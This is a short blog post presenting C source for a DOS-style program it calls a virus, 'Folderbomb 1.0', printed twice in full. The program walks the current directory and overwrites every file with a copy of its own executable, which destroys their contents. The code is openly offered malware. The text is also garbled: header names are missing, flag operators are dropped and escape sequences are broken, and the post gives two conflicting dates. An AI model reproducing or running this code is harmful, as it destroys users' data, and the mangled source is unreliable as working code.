Virus in c
Thursday, March 15, 2012
Posted by Priya Yadav
#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];int source,target,byt,done;struct ffblk ffblk;clrscr();textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("nVirus: Folderbomb 1.0n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{
printf("n");
cprintf(" %s ", ffblk.ff_name);
printf("is attacked by ");
cprintf("Folderbomb");
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONLY);
while(1)
{
byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
elsebreak;
}
close(source);close(target);done = findnext(&ffblk);
}
getch();
}
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];int source,target,byt,done;struct ffblk ffblk;clrscr();textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("nVirus: Folderbomb 1.0n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{
printf("n");
cprintf(" %s ", ffblk.ff_name);
printf("is attacked by ");
cprintf("Folderbomb");
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONLY);
while(1)
{
byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
elsebreak;
}
close(source);close(target);done = findnext(&ffblk);
}
getch();
}
This entry was posted on October 4, 2009 at 12:14 pm, and is filed under
Programming
. Follow any responses to this post through RSS. You can leave a response, or trackback from your own site.
Subscribe to:
Post Comments (Atom)
Post a Comment